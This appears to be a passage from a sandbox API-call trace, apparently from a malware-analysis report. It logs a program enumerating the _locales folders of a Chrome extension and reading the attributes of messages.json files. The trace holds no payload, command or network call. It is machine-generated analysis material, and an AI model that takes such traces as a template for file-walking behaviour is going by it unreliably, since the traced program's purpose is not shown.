	[0066.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.324] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.324] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.324] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.324] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126539a8 | out: lpFileInformation=0x126539a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3)) returned 1
	[0066.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl"), fInfoLevelId=0x0, lpFileInformation=0x126539f8 | out: lpFileInformation=0x126539f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.325] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.325] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.325] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.325] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.325] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653a98 | out: lpFileInformation=0x12653a98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1
	[0066.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr"), fInfoLevelId=0x0, lpFileInformation=0x12653ae8 | out: lpFileInformation=0x12653ae8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.326] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.326] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.326] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.326] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653b88 | out: lpFileInformation=0x12653b88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1
	[0066.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv"), fInfoLevelId=0x0, lpFileInformation=0x12653bd8 | out: lpFileInformation=0x12653bd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.327] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.327] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.327] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.327] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.328] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653c78 | out: lpFileInformation=0x12653c78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1
	[0066.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th"), fInfoLevelId=0x0, lpFileInformation=0x12653cc8 | out: lpFileInformation=0x12653cc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.328] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.328] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.328] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.328] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.328] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653d68 | out: lpFileInformation=0x12653d68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1
	[0066.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr"), fInfoLevelId=0x0, lpFileInformation=0x12653db8 | out: lpFileInformation=0x12653db8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.330] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.330] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.330] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.330] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
